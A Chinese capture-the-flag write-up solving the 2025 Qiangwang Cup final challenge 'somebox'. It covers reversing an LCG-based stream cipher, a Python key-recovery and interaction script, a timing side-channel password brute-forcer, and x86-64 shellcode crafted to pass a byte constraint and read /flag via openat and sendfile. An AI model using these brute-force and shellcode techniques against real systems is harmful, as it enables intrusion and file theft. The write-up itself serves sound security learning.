本篇文章作个人复现 2025 强网杯决赛赛题的记录。

AWDU

somebox

这道题是 rust 的综合题,总体难度算很高的了,并要求选手掌握很深的逆向功底,密码学技术和 shellcode 编写技术。

上来一串加密的数据,让人看得一脸懵逼,只能开逆了,主逻辑在 sub_1AB40 中,通过字符串发现一个菜单

顺着这个 menu 字符串可以找到关键结构

很显然,1FA20 就是所谓的加密函数了。

很好,非常无敌的加密,猜测一下 a1 的结构,如下:

1
2
3
4
5
6
7
struct encryptData
{
__int64 k[4];
__int64 b[4];
__int64 key[4];
__int64 idx;
};

根据加密的算法可以看出来,这是一个流式的加密,密钥递推符合如下公示:

1
a[n] = k * a[n-1] + b

其中 kb 是随机生成的,其中只有 a[0] 是已知的,也就是该结构体 key 的初始值。

v8 对原文仅仅做了异或操作,而流式 key 保存在 v6,经过一系列的变化得到了 v8,在 v6->v7v7->v8 的过程显然都是可逆的,那么只需要拿到异或得到的值,即可解出原 key。由于它四个 key 是轮转的,这就导致了开头的 32 字节加密是固定的,后续全部是随机。开头输出的菜单原文是已知的,也就是说,现在已知原文,密文,那么开头原文的一系列密钥是已知的,即说对于这四个数列 key1[n],key2[n],key3[n],key4[n],可以知道它们的前几项。

我们又已知数列的递推公式均满足 key[n] = (k * key[n-1] + b) mod pow(2,64) | (n>=1)

经过逆向把这些信息总结出来之后,就是 call 队伍里的密码学师傅了,个人认为解释的非常清楚了.

密码学师傅非常给力,很快给了我脚本,根据前几项来推测 k 和 b 的值,尽管可能有多解,实测发现多解情况随便选一组解不影响加解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# 输入:已有的若干项(无符号 64 位,Python int 足够)
from math import gcd
M = 1 << 64
def mod64(x):
return x & (M - 1)


# 解线性同余 k*dx ≡ dy (mod M)
# 返回候选 k 的列表(每个在 [0, M-1])
def solve_for_k(dx, dy):
dx = mod64(dx);
dy = mod64(dy)
if dx == 0:
# 0 * k ≡ dy (mod M) -> 有解当且仅当 dy ≡ 0 (mod M)
return [0] if dy == 0 else [] # 特殊:dx==0 不约束 k,如果 dy==0 则任意 k 可,返回 placeholder
g = gcd(dx, M)
if dy % g != 0:
return []
# 除以 g,在模 M' 下求逆
dxp = dx // g
dyp = dy // g
Mp = M // g
# 计算 (dxp)^(-1) mod Mp
# 使用扩展欧几里得或 pow since Mp 不是素数但 gcd(dxp, Mp)==1
inv = pow(dxp, -1, Mp) # Python 3.8+
k0 = (dyp * inv) % Mp
# 所有解为 k0 + t*Mp, t=0..g-1
return [(k0 + t * Mp) % M for t in range(g)]


def find_k_b_from_sequence(seq):
n = len(seq)
if n < 2:
return None # 信息太少(任意 k,b 可)
# 尝试用第一个能约束的相邻三项(或多处)来生成候选 k
candidates = None
for i in range(n - 2):
dx = (seq[i + 1] - seq[i]) % M
dy = (seq[i + 2] - seq[i + 1]) % M
ks = solve_for_k(dx, dy)
if ks == []:
return [] # 在此处无解 -> 整个序列不可能来自同一线性映射
# 若 dx==0 且 dy==0 意味着这三项对 k 不产生约束,继续找下一组
if dx == 0 and dy == 0:
continue
# 否则 ks 为候选集合(注意:若 dx==0 and dy==0 we skipped)
candidates = ks
break

# 如果一直没有约束(全部相等或每组三项都 dx==0,dy==0),处理特殊情形
if candidates is None:
# 所有相邻差都为0 => seq 都相同 => (k-1)*c + b ≡ 0 (mod M),无限多解
return "ALL_EQUAL" # 提示无限多解(或需要更多约束)

# 验证候选,保留能让所有已知项成立的那些
valid = []
for k in candidates:
b = (seq[1] - (k * seq[0])) % M
ok = True
for i in range(n - 1):
if ((k * seq[i] + b) - seq[i + 1]) % M != 0:
ok = False;
break
if ok:
valid.append((k, b))
return valid

把这个脚本保存为 m.py,可以构造交互了,因为系统会将用户输入的 hex 也加密一遍之后去理解含义,所以输入的时候需要进行一次加密(这个流加密可以验证加密和解密都能使用同一个函数),但是它们共享密钥生成器,所以这里需要做好分配。

初始密钥直接断函数看栈数据就行。

下面是交互脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
from pwn import *
from m import find_k_b_from_sequence
context.log_level = 'debug'
context.arch = 'amd64'
import os
import sys
from pwn import *


# from z3 import *


def ror64(value, shift, bits=64):
"""64位循环右移 - rol64的逆操作"""
shift %= bits
return ((value >> shift) | (value << (bits - shift))) & ((1 << bits) - 1)


def rol64(value, shift, bits=64):
"""64位循环左移"""
shift %= bits
return ((value << shift) | (value >> (bits - shift))) & ((1 << bits) - 1)


def mix(v6):
v7 = v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4) ^ (
(v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4)) >> 8) ^ (
(v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4) ^ ((
v6 ^ (
v6 >> 1) ^ (
(
v6 ^ (
v6 >> 1)) >> 2) ^ (
(
v6 ^ (
v6 >> 1) ^ (
(
v6 ^ (
v6 >> 1)) >> 2)) >> 4)) >> 8)) >> 16)
v7 = v7 & 0xFFFFFFFFFFFFFFFF
v7h = v7 >> 32
v8 = rol64(v7 ^ v7h, 7)
return v8


def inverse_xor_shift(y, k):
"""逆异或变换:从 y 恢复 x,满足 y = x ^ (x >> k)"""
x = y
shift = k
while shift < 64:
x = x ^ (x >> shift)
shift *= 2
return x & 0xFFFFFFFFFFFFFFFF


def inverse_mix(v8):
"""mix 函数的逆向算法"""
# 步骤1: 循环右移7位得到 u
u = ror64(v8, 7)

# 步骤2: 从 u 恢复 v7
u_high = (u >> 32) & 0xFFFFFFFF
u_low = u & 0xFFFFFFFF
v7_high = u_high
v7_low = u_low ^ u_high
v7 = (v7_high << 32) | v7_low

# 步骤3-7: 逐步逆异或变换恢复 v6
x4 = inverse_xor_shift(v7, 16)
x3 = inverse_xor_shift(x4, 8)
x2 = inverse_xor_shift(x3, 4)
x1 = inverse_xor_shift(x2, 2)
x0 = inverse_xor_shift(x1, 1)

return x0


OOO = bytes.fromhex('''
3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D
3D 20 54 4F 59 20 45 4E 43 52 59 50 54 45 44 20
53 45 52 56 49 43 45 20 3D 3D 3D 3D 3D 3D 3D 3D
3D 3D 3D 3D 3D 3D 3D 3D 3D 0A 31 29 20 45 63 68
6F 20 62 61 63 6B 20 77 68 61 74 20 79 6F 75 20
73 65 6E 64 0A 32 29 20 41 64 6D 69 6E 20 6C 6F
67 69 6E 0A 33 29 20 4D 61 67 69 63 43 6F 64 65
20 72 75 6E 6E 65 72 0A 34 29 20 53 68 6F 77 20
63 6F 6E 66 69 67 0A 35 29 20 51 75 69 74 0A 0A
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 0A 59 6F 75 72 20 63
68 6F 69 63 65 3A 20
''')




def setKey(hexdata):
data = bytes.fromhex(hexdata.decode())
global KEYA, KEYB, KEYC, KEYX
kc = [0, 0, 0, 0]
kb = [0, 0, 0, 0]
ka = [0, 0, 0, 0]
for i in range(0xC0 // 8):
if (i % 4 == 0):
print()
num1 = u64(data[i * 8:i * 8 + 8])
num2 = u64(OOO[i * 8:i * 8 + 8])
KEYX.append(num1 ^ num2)
KEYC_TMP.append(inverse_mix(num1 ^ num2))
# print(hex(KEYX[i]),hex(KEYC[i]))

print("----------")
for i in range(4, 8):
num1 = u64(data[i * 8:i * 8 + 8])
num2 = u64(OOO[i * 8:i * 8 + 8])
if i == 5 or i == 7:
KEYB[i & 3] = KEYC_TMP[i]
# print(hex(KEYB[i & 3]))
k1 = [KEYC_TMP[0], KEYC_TMP[4], KEYC_TMP[8], KEYC_TMP[12]]
k2 = [KEYC_TMP[1], KEYC_TMP[5], KEYC_TMP[9], KEYC_TMP[13]]
k3 = [KEYC_TMP[2], KEYC_TMP[6], KEYC_TMP[10], KEYC_TMP[14]]
k4 = [KEYC_TMP[3], KEYC_TMP[7], KEYC_TMP[11], KEYC_TMP[15]]
res1 = find_k_b_from_sequence(k1)
res2 = find_k_b_from_sequence(k2)
res3 = find_k_b_from_sequence(k3)
res4 = find_k_b_from_sequence(k4)
print(res1)
print(res2)
print(res3)
print(res4)
if len(res1) == 1 and len(res2) == 1 and len(res3) == 1 and len(res4) == 1 or 1==1:
KEYA[0] = res1[0][0]
KEYA[1] = res2[0][0]
KEYA[2] = res3[0][0]
KEYA[3] = res4[0][0]
KEYB[0] = res1[0][1]
KEYB[1] = res2[0][1]
KEYB[2] = res3[0][1]
KEYB[3] = res4[0][1]
print("KEYA:", [hex(i) for i in KEYA])
print("KEYB:", [hex(i) for i in KEYB])


def getKeyStream():
global KEYA, KEYB, KEYC, KEYX
KEYX = [i for i in KEYC]
i = 0
while (1):
realkey = mix(KEYX[i & 3])
yield realkey.to_bytes(8, 'little')
KEYX[i & 3] = (KEYB[i & 3] + KEYA[i & 3] * KEYX[i & 3]) & 0xFFFFFFFFFFFFFFFF
i += 1


KEYGEN = getKeyStream()


def decrypt(hexdata):
KEY = b''
data = bytes.fromhex(hexdata.decode())
dec = bytearray(data)
for i in range(len(data)):
if i % 8 == 0:
KEY = next(KEYGEN)
dec[i] ^= KEY[i % len(KEY)]
# print(dec.hex())
return dec


def encrypt(data):
KEY = b''
enc = bytearray(data)
for i in range(len(data)):
if i % 8 == 0:
KEY = next(KEYGEN)
enc[i] ^= KEY[i % len(KEY)]
# print(dec)
return enc.hex().replace(" ", "")

for i in range(1):
KEYA = [0, 0, 0, 0]
KEYB = [0, 0, 0, 0]
KEYC_TMP = [] # [0x9E3779B97F4A7C15, 0x0000000000000000, 0x94D049BB133111EB, 0x0000000000000000]
KEYC = [0x9E3779B97F4A7C15, 0x0000000000000000, 0x94D049BB133111EB, 0x0000000000000000]
KEYX = []

r = process("./somebox")
firstData = r.recvline()
setKey(firstData)
if (KEYA[1] == 0):
r.close()
sys.exit(0)
decrypt(firstData)
while True:
inp = input('$')
if inp == 'exit':
break
r.sendline(encrypt(inp.encode()))
b = r.recvline()
print(decrypt(b).decode())

这样就可以成功和这个系统交互了,注意功能 1 并没有加密,而是直接输出,所以密钥不能轮转,事实上 1 功能在比赛中是用不到的功能。

分析登录功能,同样顺着字符串找关键位置,但是因为选手不可能手动和这个 ELF 交互,必须用 pwntools,所以需要借助 dbg_server 的附加功能完成调试,操作步骤为:

  • 开启 dbg_server
  • 在对应机器上使用 pwntools 运行程序。
  • ida 选择进程附加

附截图,开启server,运行 exp

调试选项选附加

选择对应的进程

然后就可以美美调试了。

根据逻辑可知,用户名必须为 adminpassword 经过调试是随机生成的。

每次判断密码正确会 sleep 5ms,根据这个特性可以逐字节爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def brutePassword():
password = bytearray(16)
current = 0
for i in range(128):
found = False
for c in range(33,0x7F):
password[current] = c
r.sendline(encrypt(b'2').encode())
decrypt(r.recvline()).decode()
r.sendline(encrypt(b'admin').encode())
decrypt(r.recvline()).decode() # enter password
r.sendline(encrypt(password.strip(b'\x00')).encode())
result = decrypt(r.recvline()).decode()
pos = result.find('(')
rpos = result.find('ms)')
if(rpos == -1):
print("!!!",password.strip(b'\x00'))
return password.strip(b'\x00')
T = int(result[pos+1:rpos])
if(T >= 5*current +5):
print(password.strip(b'\x00'),result,T)
current += 1
found = True
if(found):
break
if(not found):
password[current] = 0
current -= 1
return password

为了本地调试方便,把密码 patch 了,让它永远返回正确,因为后面才是大头。

简单粗暴点就行。

根据功能 3 找到具体执行的位置。

这里可以看到用 mmap 分配了权限为 7 的内存段。

它在执行之前会把可写权限关闭,并且满足一定的条件下会随机打乱输入的 shellcode。

全部算法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
int __fastcall sub_56F17A9626C0(void *src, size_t n)
{
_BYTE *v2; // rax
size_t v3; // rbx
_BYTE *v4; // r14
char v5; // al
__int64 v6; // rcx
int b1; // esi
unsigned __int16 b2; // cx
int b3; // eax
unsigned int v10; // r14d
char v11; // bl
char i; // bp
unsigned int *v13; // rcx
unsigned int v14; // eax
unsigned int v15; // edx
bool v16; // cf
unsigned int v17; // r14d
__int64 v18; // rbx
size_t v19; // r13
unsigned int v21; // [rsp+Ch] [rbp-8Ch] BYREF
void *v22; // [rsp+10h] [rbp-88h] BYREF
int v23; // [rsp+18h] [rbp-80h]
_DWORD v24[2]; // [rsp+1Ch] [rbp-7Ch] BYREF
_BYTE v25[4]; // [rsp+24h] [rbp-74h]
int v26; // [rsp+28h] [rbp-70h]
int v27; // [rsp+2Ch] [rbp-6Ch]
char v28; // [rsp+30h] [rbp-68h]
int v29; // [rsp+34h] [rbp-64h]
int v30; // [rsp+38h] [rbp-60h]
char v31; // [rsp+3Ch] [rbp-5Ch]
size_t v32; // [rsp+40h] [rbp-58h]
_BYTE *v33; // [rsp+48h] [rbp-50h]
size_t v34; // [rsp+50h] [rbp-48h]
__int64 v35; // [rsp+58h] [rbp-40h]
__int64 v36; // [rsp+60h] [rbp-38h]

v22 = 0;
getrandom(&v22, 4, 0);
v22 = (void *)((_QWORD)v22 << 12);
v2 = mmap(v22, 0x1000u, 7, 34, -1, 0);
if ( v2 == (_BYTE *)-1LL )
return (int)v2;
v3 = 2048;
if ( n < 0x800 )
v3 = n;
if ( !n )
return (int)v2;
v4 = v2;
memcpy(v2, src, v3);
v32 = v3;
memset(&v4[v3], 0, 4096 - v3);
if ( n < 3 )
goto LABEL_29;
v34 = v32 - 3;
v5 = *v4;
v6 = 0;
v33 = v4;
LABEL_8:
v36 = v6 + 1;
b1 = (char)v4[v6 + 1];
v35 = v6;
b2 = (char)v4[v6 + 2];
b3 = (unsigned __int16)v5;
v23 = b1;
v24[0] = b3 + 255;
v24[1] = 5;
v25[0] = 1;
v26 = (unsigned __int16)b1 + 255;
v27 = 5;
v28 = 1;
v29 = b2 + 255;
v30 = 5;
v31 = 1;
v10 = b2 + (unsigned __int16)b1 + b3 + 510 + 255;
v11 = 1;
for ( i = 1; ; i = 0 )
{
while ( 1 )
{
v21 = 0;
getrandom(&v21, 4, 0);
if ( !v25[12 * (v21 % 3)] )
{
v14 = v10;
goto LABEL_10;
}
v13 = &v24[3 * (v21 % 3)];
v14 = 0;
v15 = 0;
if ( *v13 >= 5 )
break;
*v13 = 0;
v16 = v10 < v13[1];
v17 = v10 - v13[1];
if ( v16 )
goto LABEL_14;
LABEL_19:
v14 = v17;
if ( v15 < 5 )
goto LABEL_20;
LABEL_15:
if ( (i & 1) == 0 )
goto LABEL_21;
LABEL_9:
if ( v14 <= 4 )
{
LABEL_7:
v4 = v33;
v5 = v23;
v6 = v36;
if ( v35 == v34 )
goto LABEL_29;
goto LABEL_8;
}
LABEL_10:
v10 = v14;
}
v15 = *v13 - 5;
*v13 = v15;
v16 = v10 < v13[1];
v17 = v10 - v13[1];
if ( !v16 )
goto LABEL_19;
LABEL_14:
if ( v15 >= 5 )
goto LABEL_15;
LABEL_20:
*((_BYTE *)v13 + 8) = 0;
i = v25[0];
v11 = v28;
if ( (v25[0] & 1) != 0 )
goto LABEL_9;
LABEL_21:
if ( (v11 & 1) != 0 )
goto LABEL_9;
if ( v31 != 1 || v14 <= 4 )
break;
v11 = 0;
v10 = v14;
}
if ( v31 || v14 <= 4 )
goto LABEL_7;
LOWORD(v24[0]) = 0;
v18 = 0;
v4 = v33;
v19 = v32;
do
{
getrandom(v24, 2, 0);
v4[v18++] ^= LOBYTE(v24[0]);
}
while ( v19 != v18 );
LABEL_29:
if ( !fork() )
{
mprotect(v4, 0x1000u, 5);
sandbox();
__asm { jmp rax }
}
LODWORD(v2) = wait(0);
return (int)v2;
}

shellcode每连续的三个字节为一组进行如下游戏校验:

游戏背景:

  • 游戏有 3 个玩家和一个 boss,三个玩家的血量分别为 shellcode 字节值 + 255。
  • boss 的血量为三个玩家血量之和。
  • 所有人的攻击力为 5,没有防御属性,即一次攻击会令对手损失 5 点生命值。
  • 血量 < 5 视为死亡状态。

每个回合中执行如下操作:

  • 随机选择一个存活状态的玩家与 boss 进行战斗。
  • 玩家先攻击,令 Boss 损失 5 点生命值。
  • Boss 攻击选定玩家,损失 5 点生命值。
  • 任意时间内,有一方完全死亡时游戏结束,完全死亡的一方游戏失败。

把游戏抽象为数学模型,不妨设三个玩家的生命值为 5x + a , 5y + b , 5z + c,Boss 血量根据要求为 5(x + y + z) + (a + b + c) | (a,b,c < 5)

说白了,这游戏就不太可能可以赢,因为一个 5x + a 血量的人物只能给 Boss 造成 5x 的伤害,但是好在玩家先手,如果前面两个人(可以证明,游戏输赢和攻击顺序无关)死亡的情况下,剩下最后一个人,双方血量分别为 5z + c5z + a + b + c,经过 z - 1 个回合之后,血量变成 5 + z5 + a + b + c,最后一刻,必须给 Boss 致命一击,即攻击过后 a + b + c < 5,不然它再打过来玩家必输。

这里的 a,b,c 自然就是 byte % 5 的值,所以 shellcode 必须满足下面的要求。

1
2
3
4
5
6
7
for i in range(len(shellcode)-2):
s = 0
for j in range(3):
s += shellcode[i+j] % 5
if s >= 5:
print("error")
quit()

只要任意三个连续的字节 %5 相加的值大于等于 5,这个 shellcode 就是不合法的。

所以尽量要选择权值(%5得到的值)尽可能低的指令去输入,一些比较好用的指令:

1
2
3
4
5
6
jmp $+2
; EB 00
; 0 0
mov ecx, $imm
; B9 ?? ?? ?? ??
; 0 ?? ?? ?? ??

其余一些 mov 指令巨难用,一不小心就会超过,所以推荐用 xchg r1,r2,它的优点就是,如果正着来权值过大可以反过来,即写 xchg r2,r1,指令效果完全等价。

执行 shellcode 之前,它把几乎所有寄存器都清零了,也就是找不到一个可写的地址。

在此之前,也先看看沙箱

这里我选择是直接 patch main 函数,直接执行 sandbox 函数,得到的沙箱结果。

这个沙箱很简单,直接 openat + sendfile 即可,但是可写内存没有,因此我选择了 mmap 去分配内存,然后将栈定向到这块内存中去(虽然没用到),这块内存可以用于去写 /flag 字符串。

这个题目在执行 shellcode 之后还关闭了标准输入,导致我们没有办法重写 shellcode,只能按照它的要求和规则去书写。

下面是我写的 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
mov ecx,9
mov eax,ecx
mov edi,0
mov esi,0xa000
mov edx,7
mov ecx,0x22
mov r10d,ecx
syscall
; openat

add rax, 0x5000

mov rbx,rax
jmp $+2
xchg rbx,rbp
mov rbx,rax
xchg rbx,rsp
sub rax,0x5000

mov rbx,rax


; write /flag
mov ecx,'/'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx,'f'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx,'l'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx,'a'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx,'g'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx, 0
mov [rbx],cl
jmp $+2
inc rbx
jmp $+2

mov rbx,rax
jmp $+2
xchg rsi,rbx
jmp $+2
mov ecx,0
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,0
jmp $+2
mov edx,ecx
jmp $+2
mov ecx,1
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,257
jmp $+2
mov eax,ecx
jmp $+2
syscall

mov ecx,0

jmp $+2
mov esi,ecx
jmp $+2
mov ecx,1
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,0x30
mov r10d,ecx

mov ecx,40
mov eax,ecx
mov ecx,0
mov edx,ecx
syscall
;sendfile

shellcode满足要求之后直接写 exp 脚本,这里省略了爆破密码的步骤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
from pwn import *
from m import find_k_b_from_sequence
context.log_level = 'debug'
context.arch = 'amd64'
import os
import sys
from pwn import *


# from z3 import *


def ror64(value, shift, bits=64):
"""64位循环右移 - rol64的逆操作"""
shift %= bits
return ((value >> shift) | (value << (bits - shift))) & ((1 << bits) - 1)


def rol64(value, shift, bits=64):
"""64位循环左移"""
shift %= bits
return ((value << shift) | (value >> (bits - shift))) & ((1 << bits) - 1)


def mix(v6):
v7 = v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4) ^ (
(v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4)) >> 8) ^ (
(v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2) ^ ((v6 ^ (v6 >> 1) ^ ((v6 ^ (v6 >> 1)) >> 2)) >> 4) ^ ((
v6 ^ (
v6 >> 1) ^ (
(
v6 ^ (
v6 >> 1)) >> 2) ^ (
(
v6 ^ (
v6 >> 1) ^ (
(
v6 ^ (
v6 >> 1)) >> 2)) >> 4)) >> 8)) >> 16)
v7 = v7 & 0xFFFFFFFFFFFFFFFF
v7h = v7 >> 32
v8 = rol64(v7 ^ v7h, 7)
return v8


def inverse_xor_shift(y, k):
"""逆异或变换:从 y 恢复 x,满足 y = x ^ (x >> k)"""
x = y
shift = k
while shift < 64:
x = x ^ (x >> shift)
shift *= 2
return x & 0xFFFFFFFFFFFFFFFF


def inverse_mix(v8):
"""mix 函数的逆向算法"""
# 步骤1: 循环右移7位得到 u
u = ror64(v8, 7)

# 步骤2: 从 u 恢复 v7
u_high = (u >> 32) & 0xFFFFFFFF
u_low = u & 0xFFFFFFFF
v7_high = u_high
v7_low = u_low ^ u_high
v7 = (v7_high << 32) | v7_low

# 步骤3-7: 逐步逆异或变换恢复 v6
x4 = inverse_xor_shift(v7, 16)
x3 = inverse_xor_shift(x4, 8)
x2 = inverse_xor_shift(x3, 4)
x1 = inverse_xor_shift(x2, 2)
x0 = inverse_xor_shift(x1, 1)

return x0


OOO = bytes.fromhex('''
3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D 3D
3D 20 54 4F 59 20 45 4E 43 52 59 50 54 45 44 20
53 45 52 56 49 43 45 20 3D 3D 3D 3D 3D 3D 3D 3D
3D 3D 3D 3D 3D 3D 3D 3D 3D 0A 31 29 20 45 63 68
6F 20 62 61 63 6B 20 77 68 61 74 20 79 6F 75 20
73 65 6E 64 0A 32 29 20 41 64 6D 69 6E 20 6C 6F
67 69 6E 0A 33 29 20 4D 61 67 69 63 43 6F 64 65
20 72 75 6E 6E 65 72 0A 34 29 20 53 68 6F 77 20
63 6F 6E 66 69 67 0A 35 29 20 51 75 69 74 0A 0A
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 0A 59 6F 75 72 20 63
68 6F 69 63 65 3A 20
''')




def setKey(hexdata):
data = bytes.fromhex(hexdata.decode())
global KEYA, KEYB, KEYC, KEYX
kc = [0, 0, 0, 0]
kb = [0, 0, 0, 0]
ka = [0, 0, 0, 0]
for i in range(0xC0 // 8):
if (i % 4 == 0):
print()
num1 = u64(data[i * 8:i * 8 + 8])
num2 = u64(OOO[i * 8:i * 8 + 8])
KEYX.append(num1 ^ num2)
KEYC_TMP.append(inverse_mix(num1 ^ num2))
# print(hex(KEYX[i]),hex(KEYC[i]))

print("----------")
for i in range(4, 8):
num1 = u64(data[i * 8:i * 8 + 8])
num2 = u64(OOO[i * 8:i * 8 + 8])
if i == 5 or i == 7:
KEYB[i & 3] = KEYC_TMP[i]
# print(hex(KEYB[i & 3]))
k1 = [KEYC_TMP[0], KEYC_TMP[4], KEYC_TMP[8], KEYC_TMP[12]]
k2 = [KEYC_TMP[1], KEYC_TMP[5], KEYC_TMP[9], KEYC_TMP[13]]
k3 = [KEYC_TMP[2], KEYC_TMP[6], KEYC_TMP[10], KEYC_TMP[14]]
k4 = [KEYC_TMP[3], KEYC_TMP[7], KEYC_TMP[11], KEYC_TMP[15]]
res1 = find_k_b_from_sequence(k1)
res2 = find_k_b_from_sequence(k2)
res3 = find_k_b_from_sequence(k3)
res4 = find_k_b_from_sequence(k4)
print(res1)
print(res2)
print(res3)
print(res4)
if len(res1) == 1 and len(res2) == 1 and len(res3) == 1 and len(res4) == 1 or 1==1:
KEYA[0] = res1[0][0]
KEYA[1] = res2[0][0]
KEYA[2] = res3[0][0]
KEYA[3] = res4[0][0]
KEYB[0] = res1[0][1]
KEYB[1] = res2[0][1]
KEYB[2] = res3[0][1]
KEYB[3] = res4[0][1]
print("KEYA:", [hex(i) for i in KEYA])
print("KEYB:", [hex(i) for i in KEYB])


def getKeyStream():
global KEYA, KEYB, KEYC, KEYX
KEYX = [i for i in KEYC]
i = 0
while (1):
realkey = mix(KEYX[i & 3])
yield realkey.to_bytes(8, 'little')
KEYX[i & 3] = (KEYB[i & 3] + KEYA[i & 3] * KEYX[i & 3]) & 0xFFFFFFFFFFFFFFFF
i += 1


KEYGEN = getKeyStream()


def decrypt(hexdata):
KEY = b''
data = bytes.fromhex(hexdata.decode())
dec = bytearray(data)
for i in range(len(data)):
if i % 8 == 0:
KEY = next(KEYGEN)
dec[i] ^= KEY[i % len(KEY)]
# print(dec.hex())
return dec


def encrypt(data):
KEY = b''
enc = bytearray(data)
for i in range(len(data)):
if i % 8 == 0:
KEY = next(KEYGEN)
enc[i] ^= KEY[i % len(KEY)]
# print(dec)
return enc.hex().replace(" ", "")

for i in range(1):
KEYA = [0, 0, 0, 0]
KEYB = [0, 0, 0, 0]
KEYC_TMP = [] # [0x9E3779B97F4A7C15, 0x0000000000000000, 0x94D049BB133111EB, 0x0000000000000000]
KEYC = [0x9E3779B97F4A7C15, 0x0000000000000000, 0x94D049BB133111EB, 0x0000000000000000]
KEYX = []

r = process("./somebox")
# r.sendlineafter("token: ",'icq1c2c3ba49a2232b7943ba21ec88e8')
firstData = r.recvline()

setKey(firstData)
if (KEYA[1] == 0):
r.close()
sys.exit(0)
decrypt(firstData)

r.sendline(encrypt(b'2'))
print(decrypt(r.recvline()).decode())
r.sendline(encrypt(b'admin'))
print(decrypt(r.recvline()).decode())

